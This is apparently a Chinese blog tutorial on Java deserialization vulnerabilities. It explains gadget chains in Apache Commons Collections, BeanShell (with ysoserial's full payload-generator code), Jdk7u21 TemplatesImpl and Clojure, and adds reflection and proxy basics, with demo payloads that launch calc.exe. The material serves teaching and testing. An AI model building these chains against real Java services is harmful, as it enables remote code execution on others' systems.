Java反序列化漏洞

  1. 前言
  2. Java的序列化和反序列化
    1. 攻击面
  • ysoserial
    1. 整体架构
    2. BeanShell
    3. Jdk7u21
    4. Clojure
  • 基础知识
    1. Java 反射机制
    2. Java动态代理机制

  • 前言

    Java的漏洞中,最出名的漏洞莫过于Java反序列化漏洞了。

    Java的序列化和反序列化

    序列化是一个将对象转化成字节流的过程。在Java中,序列化可以通过objectOutputStream类的writeObject方法来实现。

    反序列化是一个将字节流恢复成对象的过程。在Java中,反序列化可以通过ObjectInputStream类的readObject方法来实现。

    序列化和反序列化常常用于储存或传输对象。序列化的Bytes中存储的信息包括有类名非静态成员变量,若成员变量也是对象,则会进行递归序列化和反序列化的。对于特殊的类,不能直接使用通用的序列化和反序列化方法(如HashTable),需要自定义序列化和反序列化的方法。

    攻击面

    显而易见的攻击面:控制字节流Bytes,即可以在程序中注入恶意构造的特定对象,但是这种方法一般难以应用与构造RCE,因为程序中往往会对反序列化后的对象进行类型转换,如果非指定的类,会抛出异常;这种方法更多可能用于信息的伪造,如权限绕过。

    较深层的攻击面:在反序列化的过程中,若控制字节流Bytes,则可控制反序列化的类以及它的成员变量,在这过程中会自动调用自定义的反序列化函数,则可以简化为限制特定函数的有限制的代码执行,若能执行危险函数,则存在安全风险。若能找到合适的POP链,可以导致任意代码执行或命令执行。

    关于Java的反序列化漏洞可以阅读长亭科技的这篇文章

    Lib之过?Java反序列化漏洞通用利用分析

    文中重点分析了利用Apache Commons Collections实现远程代码执行的原理,大概可以理解为:

    Apache Commons Collections 3中有个TransformedMap类,它对标准的Map进行了拓展,当这个TransformedMap实例中的key或者value发生改变,会调用相应Transformertransform()方法,这个相应的Transformer是可以通过设置属性来设置的,而且可以用多个Transformer组合成ChainedTransformer,会依次调用transform()方法。

    Apache Commons Collections 3自带的InvokerTransformer类的transform方法里面会根据传入的参数来通过Java的反射机制来调用函数。所以,我们可以利用它来调用我们想要调用的任意函数,如Runtime.getRunTime.exec

    当然,这个以上所提到的需要key或者value改变,而默认的readObject函数并不会改变它们。所以,需要找到一个类,它的属性(成员变量)中包含有Map而且readObject函数会对key或者value进行改变,如setValue

    然后,找到了AnnotationInvocationHandler类,它恰好符合上述条件,组合即可实现,输入一个序列化后的对象,程序执行反序列化操作,调用readObject方法,执行恶意代码。

    听得有点迷糊吧,可以去看看上面提到的文章,跟着走一遍。

    整个反序列化的流程是,AnnotationInvocationHandler对象,它的readObject函数

    private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
      var1.defaultReadObject();
      AnnotationType var2 = null;
    
      try {
        var2 = AnnotationType.getInstance(this.type);
      } catch (IllegalArgumentException var9) {
        throw new InvalidObjectException("Non-annotation type in annotation serial stream");
      }
    
      Map var3 = var2.memberTypes();
      Iterator var4 = this.memberValues.entrySet().iterator();
    
      while(var4.hasNext()) {
        Entry var5 = (Entry)var4.next();
        String var6 = (String)var5.getKey();
        Class var7 = (Class)var3.get(var6);
        if (var7 != null) {
          Object var8 = var5.getValue();
          if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
            var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
          }
        }
      }
    
    }

    这里其实还是需要分析一下的,我们的目的需要执行var5.setValue,要执行到这里需要一定的条件。只要动态调试一下就可以,主要是var7!=null这个条件,调试一下就可以发现var3只有value这个key,所以,需要Map中的键值为value,即innerMap.put("value","hello world");

    OK,调用setValue函数,会依次调用ChainedTransformer里面的每一个Transformertransform函数。这个ChainedTransformer的构建方法如下。

    ((Runtime) Runtime.class.getMethod("getRuntime").invoke()).exec("calc.exe");
    1.Runtime.class
    new ConstantTransformer(Runtime.class),
    2.getMethod("getRuntime")
    new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",new Class[0]}),
    3.  invoke()
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},new Object[] {null, new Object[0]}),
    4. exec("calc.exe")
    new InvokerTransformer("exec", new Class[]{String.class},new Object[] {"calc.exe"}),

    ysoserial

    ysoserial 是一个出名的反序列化漏洞利用工具,内有大量的payload,也很方便用于增加/修改payload。

    整体架构

    源码的src/main/java/ysoserial下是主程序,exploit下是针对不同应用的攻击程序,可以直接修改运行参数来使用不用的payload对目标应用进行测试,payload下是不同组件的反序列化payload,payload目录下有个util目录,里面包含有一些用于生成payload用到的小工具。

    源码的src/test/java/ysooserial下是一些测试服务,可以用来测试payload。

    由于JEP 290: Filter Incoming Serialization Data (JDK 9,然后反向移植到8u121, 7u131, and 6u141),在新版本的jdk下很多payload都不能用的,建议测试的时候,用低版本的jdk。

    BeanShell

    beanshell (bsh-2.0b5)是一个Java源代码解释器,类似于脚本语言的特性。BeanShell动态执行标准Java语法,并支持常见的脚本编写方法,如松散类型,命令和方法闭包等。BeanShell可以说是利用Java反射机制实现的新型脚本语言。/咦,貌似还挺好用。

    BeanShell的反序列化漏洞,CVE-2016-2510,可以看到修复的commit,修复方法为将InvocationHandler invocationHandler=new Handler(),设置为transient,并且禁止Handler类序列化。

    BeanShell通过反射的方式来实现调用函数,invocationHandler是我们在动态代理中很熟悉的一个参数,这里考虑到构造某类反序列化时,通过动态代理的方法调用我们事先存储在invocationHandler中的函数,从而执行任意代码。

    小技巧
    java.util.PriorityQueue类经过构造可以调用成员变量的Comparator.compare()Comparator.compareTo()方法。

    Payload如下

    public PriorityQueue getObject(String command) throws Exception {
    // BeanShell payload
    
        String payload =
            "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{" +
                Strings.join( // does not support spaces in quotes
                    Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\\"").split(" ")),
                    ",", "\"", "\"") +
                "}).start();return new Integer(1);}";
    
    // Create Interpreter
    Interpreter i = new Interpreter();
    
    // Evaluate payload
    i.eval(payload);
    
    // Create InvocationHandler
    XThis xt = new XThis(i.getNameSpace(), i);
    InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);
    
    // Create Comparator Proxy
    Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
    
    // Prepare Trigger Gadget (will call Comparator.compare() during deserialization)
    final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
    Object[] queue = new Object[] {1,1};
    Reflections.setFieldValue(priorityQueue, "queue", queue);
    Reflections.setFieldValue(priorityQueue, "size", 2);
    
    return priorityQueue;
    }

    首先,构造beanshell的执行payload,执行并存储在invocationHandler中,

    String payload =
            "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{" +
                Strings.join( // does not support spaces in quotes
                    Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\\"").split(" ")),
                    ",", "\"", "\"") +
                "}).start();return new Integer(1);}";
    
    // Create Interpreter
    Interpreter i = new Interpreter();

    然后,通过反射,取出XThis的成员变量invocationHandler

    XThis xt = new XThis(i.getNameSpace(), i);
    InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);

    接下来构造动态代理,这里用到了小技巧,

    PriorityQueue类,它的readObject方法,跟进heapify()方法,里面调用siftDown方法,跟进,当comparator不为null,会调用siftDownUsingComparator,并在里面调用comparator.compare()方法。

    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in size, and any hidden stuff
        s.defaultReadObject();
    
        // Read in (and discard) array length
        s.readInt();
    
        queue = new Object[size];
    
        // Read in all elements.
        for (int i = 0; i < size; i++)
            queue[i] = s.readObject();
    
        // Elements are guaranteed to be in "proper order", but the
        // spec has never explained what that might be.
        heapify();
    }
    
    private void heapify() {
        for (int i = (size >>> 1) - 1; i >= 0; i--)
            siftDown(i, (E) queue[i]);
    }
    
    private void siftDown(int k, E x) {
    if (comparator != null)
        siftDownUsingComparator(k, x);
    else
        siftDownComparable(k, x);
    }
    
    private void siftDownUsingComparator(int k, E x) {
        int half = size >>> 1;
        while (k < half) {
            int child = (k << 1) + 1;
            Object c = queue[child];
            int right = child + 1;
            if (right < size &&
                comparator.compare((E) c, (E) queue[right]) > 0)
                c = queue[child = right];
            if (comparator.compare(x, (E) c) <= 0)
                break;
            queue[k] = c;
            k = child;
        }
        queue[k] = x;
    }

    所以,我们只要将上面获得的invocationHandler通过动态代理构造出实现Comparator的对象,并作为PriorityQueuecomparator即可。

    // Create Comparator Proxy
    Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
    
    // Prepare Trigger Gadget (will call Comparator.compare() during deserialization)
    final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
    Object[] queue = new Object[] {1,1};
    Reflections.setFieldValue(priorityQueue, "queue", queue);
    Reflections.setFieldValue(priorityQueue, "size", 2);
    
    return priorityQueue;

    回顾一下,这里我们学到了一个小技巧PriorityQueue可以在反序列化过程中调用Comparator.compare()Comparable.compareTo()函数。

    Jdk7u21

    该反序列化漏洞存在jdk自带库中,低于jdk7u21的jdk版本受此漏洞影响。

    Gadget chain that works against JRE 1.7u21 and earlier. Payload generation has
    the same JRE version requirements.
    • Affected Product(s): Java SE 6, Java SE 7
    • Fixed in: Java SE 7u25 (2013-06-18), Java SE 8 (2014-03-18)
    com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
    有成员变量
    byte[][] _bytecodes = null  // 可以存储恶意bytecode
    存在以下调用链
    TemplatesImpl.getOutputProperties()
      TemplatesImpl.newTransformer()
        TemplatesImpl.getTransletInstance()
          TemplatesImpl.defineTransletClasses()
            ClassLoader.defineClass()
    只要能够调用TemplatesImpl.getOutputProperties() / TemplatesImpl.newTransformer()即可以实现任意代码执行

    sun.reflect.annotation.AnnotationInvocationHandlerequals方法会反射调用Templates所有方法,所以可以调用getOutputProperties()

    Clojure

    Clojure是一种高级的,动态的函数式编程语言。 它是基于LISP编程语言设计的,并且具有编译器,可以在Java和.Net运行时环境上运行。

    org.clojure:clojure
    Versions since 1.2.0 are vulnerable, although some class names may need to be changed for other versions

    小技巧
    java.util.HashMap类在writeObject过程中,将key/value以列表的形式逐个序列化,在readObject的过程中,会依次调用putVal(hash(key), key, value, false, false);,所以会调用的key.hashCode()key.equals(k)函数。

    由于作者觉得之前写的文章不太容易理解,回炉重造中。。。

    如果读者阅读上面文章感觉吃力,建议动手尝试,下方也提供了少量基础知识。

    基础知识

    Java 反射机制

    Java反射是一个API,它被用于在运行时检测修改方法接口的行为。

    通过反射,我们可以在运行时调用方法,而无视它们的访问说明符。

    Java的反射的基础是Class类,当JVM加载类时会自动构造Class对象,而Class类对象则封装了(类和接口)的信息。

    import java.lang.reflect.Method;
    
    public class TestReflection {
        public static void main(String [] args) throws Exception{
            Object obj = Runtime.getRuntime();
            // 获取obj的类名
            System.out.println(obj.getClass().getName());
            // 通过类名字符串获取类
            Class c = Class.forName("java.lang.Runtime");
            System.out.println(c);
    
            // 根据名字获取方法
            // Runtime.getRuntime().exec("calc.exe");
            Method m1 = c.getDeclaredMethod("getRuntime");
            Object o = m1.invoke(c, null);
            Method m2 = o.getClass().getMethod("exec",String.class);
            m2.invoke(o, "calc.exe");
    
    
        }
    }

    Java动态代理机制

    利用Java反射技术,在运行时创建接口s的动态实现。

    一般创建动态代理,用到两个关键的类ProxyInvocationHandler

    Proxy.newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h)

    import java.lang.reflect.InvocationHandler;
    import java.lang.reflect.Method;
    import java.lang.reflect.Proxy;
    
    
    interface IFoo{
        void go();
        void fly(int len);
    }
    
    class Foo implements IFoo{
    
        @Override
        public void go(){
            System.out.println("调用了Foo 的go函数");
        }
    
        public void run(){
            System.out.println("调用了Foo 的run函数");
        }
    
        @Override
        public void fly(int len){
            System.out.println("调用了Foo 的fly函数, 飞了"+len+"米");
        }
    }
    
    class DynamicInvocationHandler implements InvocationHandler{
        @Override
        public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
    
            System.out.println("调用invoke函数,方法名为"+method.getName()+", 参数为"+args);
            return null;
        }
    }
    
    public class TestDynamicProxy {
        public static void main(String [] args){
            // 正常调用
            Foo f = new Foo();
            f.go();
            f.run();
            f.fly(10);
    
            // 动态代理调用我们定义的go函数
            IFoo f1 = (IFoo) Proxy.newProxyInstance(Foo.class.getClassLoader(), new Class[]{IFoo.class}, new DynamicInvocationHandler());
            f1.go();
    //        ff.run();
            f1.fly(8);
    
            IFoo f2 = (IFoo) Proxy.newProxyInstance(Foo.class.getClassLoader(),
                new Class[]{IFoo.class},
                new InvocationHandler() {
                    @Override
                    public Object invoke(Object proxy, Method method, Object[] args){
                        System.out.println("method name is "+ method.getName() + ", args is "+args);
                        return null;
                    }
                });
            f2.go();
            f2.fly(7);
        }
    }
    

    转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至3213359017@qq.com